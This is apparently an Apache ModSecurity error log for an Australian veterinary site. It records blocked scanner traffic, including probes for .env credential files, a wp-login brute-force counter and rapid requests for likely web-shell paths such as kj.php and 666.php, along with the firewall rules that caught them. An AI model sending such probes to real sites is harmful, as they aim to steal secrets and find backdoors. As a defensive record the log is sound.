[Sat Apr 18 03:45:04.381066 2026] [:error] [pid 9865:tid 9945] [client 54.37.252.137:46196] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeKNwKzb5knECIY-C-hjWQAAAIg"]
[Sat Apr 18 03:45:06.888493 2026] [:error] [pid 9970:tid 9983] [client 54.37.252.137:44430] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeKNwiYdRLRhVmaIMx1lCwAAAMk"]
[Sat Apr 18 03:45:09.341634 2026] [:error] [pid 9970:tid 9980] [client 54.37.252.137:44446] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeKNxSYdRLRhVmaIMx1lEAAAAMY"]
[Sat Apr 18 03:45:11.835446 2026] [:error] [pid 9864:tid 9908] [client 54.37.252.137:44456] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeKNx4CFeowknfXHM7kCVQAAAEM"]
[Sat Apr 18 03:45:14.289758 2026] [:error] [pid 9864:tid 9923] [client 54.37.252.137:44472] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeKNyoCFeowknfXHM7kCWwAAAFE"]
[Sat Apr 18 03:45:16.605733 2026] [:error] [pid 9865:tid 9941] [client 54.37.252.137:49006] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeKNzKzb5knECIY-C-hjcwAAAIQ"]
[Sat Apr 18 03:45:18.926168 2026] [:error] [pid 9863:tid 9875] [client 54.37.252.137:49020] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeKNzjjjiypiFrTucbLgdQAAAAI"]
[Sat Apr 18 03:45:21.239275 2026] [:error] [pid 9865:tid 9959] [client 54.37.252.137:49036] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeKN0azb5knECIY-C-hjfQAAAJY"]
[Sat Apr 18 03:45:23.698671 2026] [:error] [pid 9865:tid 9939] [client 54.37.252.137:49052] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeKN06zb5knECIY-C-hjjQAAAII"]
[Sat Apr 18 03:45:26.202740 2026] [:error] [pid 9970:tid 9992] [client 54.37.252.137:56828] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeKN1iYdRLRhVmaIMx1lHgAAANI"]
[Sat Apr 18 03:45:28.630436 2026] [:error] [pid 9865:tid 9938] [client 54.37.252.137:56842] [client 54.37.252.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeKN2Kzb5knECIY-C-hjnAAAAIE"]
[Sat Apr 18 06:29:22.407306 2026] [:error] [pid 9863:tid 9881] [client 170.106.181.163:47778] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeK0QjjjiypiFrTucbIXHgAAAAg"]
[Sat Apr 18 07:21:28.744435 2026] [:error] [pid 9864:tid 9928] [client 106.119.167.146:45031] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeLAeICFeowknfXHM7lOMwAAAFY"]
[Sat Apr 18 08:45:39.994320 2026] [:error] [pid 34237:tid 34260] [client 51.77.216.36:40620] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aeLUMxBmX4Wq5a6rxfbrwgAAAVU"]
[Sat Apr 18 08:45:44.193135 2026] [:error] [pid 9970:tid 9982] [client 51.77.216.36:33338] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aeLUOCYdRLRhVmaIMx0O1wAAAMg"]
[Sat Apr 18 08:45:47.488037 2026] [:error] [pid 34237:tid 34248] [client 51.77.216.36:51284] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aeLUOxBmX4Wq5a6rxfbr0QAAAUk"]
[Sat Apr 18 08:45:50.617619 2026] [:error] [pid 9970:tid 9994] [client 51.77.216.36:46066] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aeLUPiYdRLRhVmaIMx0O4AAAANQ"]
[Sat Apr 18 08:45:51.779709 2026] [:error] [pid 9970:tid 9988] [client 51.77.216.36:53106] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aeLUPyYdRLRhVmaIMx0O4gAAAM4"]
[Sat Apr 18 08:45:54.837535 2026] [:error] [pid 9864:tid 9910] [client 51.77.216.36:39758] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aeLUQoCFeowknfXHM7ldhAAAAEU"]
[Sat Apr 18 10:21:16.762079 2026] [:error] [pid 9970:tid 9983] [client 35.212.253.84:36908] [client 35.212.253.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "aeLqnCYdRLRhVmaIMx0otQAAAMk"]
[Sat Apr 18 10:21:44.108824 2026] [:error] [pid 9863:tid 9892] [client 35.212.253.84:32832] [client 35.212.253.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.staging"] [unique_id "aeLquDjjiypiFrTucbJVeAAAABM"]
[Sat Apr 18 10:22:18.840453 2026] [:error] [pid 34288:tid 34302] [client 35.212.253.84:47986] [client 35.212.253.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.example"] [unique_id "aeLq2uTIiy__PtiLmpl1PwAAAYo"]
[Sat Apr 18 10:22:48.319910 2026] [:error] [pid 9863:tid 9897] [client 35.212.253.84:36452] [client 35.212.253.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env"] [unique_id "aeLq-DjjiypiFrTucbJV_wAAABg"]
[Sat Apr 18 10:23:15.971468 2026] [:error] [pid 9970:tid 9998] [client 35.212.253.84:50048] [client 35.212.253.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env"] [unique_id "aeLrEyYdRLRhVmaIMx0pwAAAANg"]
[Sat Apr 18 10:23:47.229827 2026] [:error] [pid 9863:tid 9882] [client 35.212.253.84:58834] [client 35.212.253.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/server/.env"] [unique_id "aeLrMzjjiypiFrTucbJWaAAAAAk"]
[Sat Apr 18 10:33:14.524010 2026] [:error] [pid 34288:tid 34297] [client 135.225.27.101:57075] [client 135.225.27.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.225.27.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeLtauTIiy__PtiLmpl5yAAAAYU"]
[Sat Apr 18 10:33:38.711220 2026] [:error] [pid 9970:tid 9976] [client 135.225.27.101:57037] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeLtgiYdRLRhVmaIMx0uRwAAAMI"]
[Sat Apr 18 10:33:39.594770 2026] [:error] [pid 9863:tid 9894] [client 135.225.27.101:57082] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeLtgzjjiypiFrTucbJaRgAAABU"]
[Sat Apr 18 10:33:40.363518 2026] [:error] [pid 9863:tid 9885] [client 135.225.27.101:57071] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeLthDjjiypiFrTucbJaSQAAAAw"]
[Sat Apr 18 10:33:41.110204 2026] [:error] [pid 34237:tid 34259] [client 135.225.27.101:7809] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeLthRBmX4Wq5a6rxfYYQQAAAVQ"]
[Sat Apr 18 10:33:41.732601 2026] [:error] [pid 9863:tid 9895] [client 135.225.27.101:7810] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeLthTjjiypiFrTucbJaTQAAABY"]
[Sat Apr 18 10:33:42.525511 2026] [:error] [pid 9970:tid 9977] [client 135.225.27.101:7823] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeLthiYdRLRhVmaIMx0uSAAAAMM"]
[Sat Apr 18 10:33:43.234545 2026] [:error] [pid 9863:tid 9873] [client 135.225.27.101:7811] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeLthzjjiypiFrTucbJaTgAAAAA"]
[Sat Apr 18 10:33:43.891807 2026] [:error] [pid 34288:tid 34304] [client 135.225.27.101:7832] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeLth-TIiy__PtiLmpl53AAAAYw"]
[Sat Apr 18 10:33:44.539505 2026] [:error] [pid 9863:tid 9890] [client 135.225.27.101:7825] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeLtiDjjiypiFrTucbJaUAAAABE"]
[Sat Apr 18 10:33:45.117506 2026] [:error] [pid 34290:tid 34336] [client 135.225.27.101:57040] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeLtiRqX6WpmmAXOBi-QVwAAAdE"]
[Sat Apr 18 10:33:45.767850 2026] [:error] [pid 34290:tid 34324] [client 135.225.27.101:57060] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeLtiRqX6WpmmAXOBi-QWgAAAcU"]
[Sat Apr 18 10:33:46.406519 2026] [:error] [pid 34290:tid 34320] [client 135.225.27.101:7851] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeLtihqX6WpmmAXOBi-QWwAAAcE"]
[Sat Apr 18 10:33:47.069111 2026] [:error] [pid 34290:tid 34330] [client 135.225.27.101:57035] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeLtixqX6WpmmAXOBi-QXQAAAcs"]
[Sat Apr 18 10:33:47.666015 2026] [:error] [pid 9865:tid 9939] [client 135.225.27.101:7835] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeLti6zb5knECIY-C-j72wAAAII"]
[Sat Apr 18 10:33:48.315907 2026] [:error] [pid 9865:tid 9951] [client 135.225.27.101:57083] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeLtjKzb5knECIY-C-j73AAAAI4"]
[Sat Apr 18 10:33:48.908178 2026] [:error] [pid 9970:tid 9985] [client 135.225.27.101:57061] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeLtjCYdRLRhVmaIMx0uWgAAAMs"]
[Sat Apr 18 10:33:49.458996 2026] [:error] [pid 13023:tid 13044] [client 135.225.27.101:57032] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeLtjf1e7hG8DAeABB92rgAAARM"]
[Sat Apr 18 10:33:50.079281 2026] [:error] [pid 9863:tid 9884] [client 135.225.27.101:7829] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeLtjjjjiypiFrTucbJaUQAAAAs"]
[Sat Apr 18 10:33:50.637407 2026] [:error] [pid 9970:tid 9988] [client 135.225.27.101:57054] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeLtjiYdRLRhVmaIMx0uYgAAAM4"]
[Sat Apr 18 10:33:51.324547 2026] [:error] [pid 13023:tid 13036] [client 135.225.27.101:57075] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeLtj_1e7hG8DAeABB92sQAAAQs"]
[Sat Apr 18 10:33:52.036120 2026] [:error] [pid 13023:tid 13027] [client 135.225.27.101:25304] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeLtkP1e7hG8DAeABB92swAAAQI"]
[Sat Apr 18 10:33:52.700309 2026] [:error] [pid 34290:tid 34340] [client 135.225.27.101:57036] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeLtkBqX6WpmmAXOBi-QZgAAAdU"]
[Sat Apr 18 10:33:53.465819 2026] [:error] [pid 13023:tid 13046] [client 135.225.27.101:7818] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeLtkf1e7hG8DAeABB92tgAAARU"]
[Sat Apr 18 10:33:54.110902 2026] [:error] [pid 13023:tid 13026] [client 135.225.27.101:7830] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeLtkv1e7hG8DAeABB92uQAAAQE"]
[Sat Apr 18 10:33:54.710294 2026] [:error] [pid 13023:tid 13037] [client 135.225.27.101:57074] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeLtkv1e7hG8DAeABB92vAAAAQw"]
[Sat Apr 18 10:33:55.292451 2026] [:error] [pid 9865:tid 9940] [client 135.225.27.101:25293] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeLtk6zb5knECIY-C-j73gAAAIM"]
[Sat Apr 18 10:33:55.877434 2026] [:error] [pid 9970:tid 9978] [client 135.225.27.101:57027] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeLtkyYdRLRhVmaIMx0ucwAAAMQ"]
[Sat Apr 18 10:33:56.481929 2026] [:error] [pid 9970:tid 9981] [client 135.225.27.101:57077] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeLtlCYdRLRhVmaIMx0udgAAAMc"]
[Sat Apr 18 10:33:57.042835 2026] [:error] [pid 9864:tid 9905] [client 135.225.27.101:57087] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeLtlYCFeowknfXHM7luJgAAAEA"]
[Sat Apr 18 10:33:57.686337 2026] [:error] [pid 9865:tid 9945] [client 135.225.27.101:57050] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeLtlazb5knECIY-C-j74AAAAIg"]
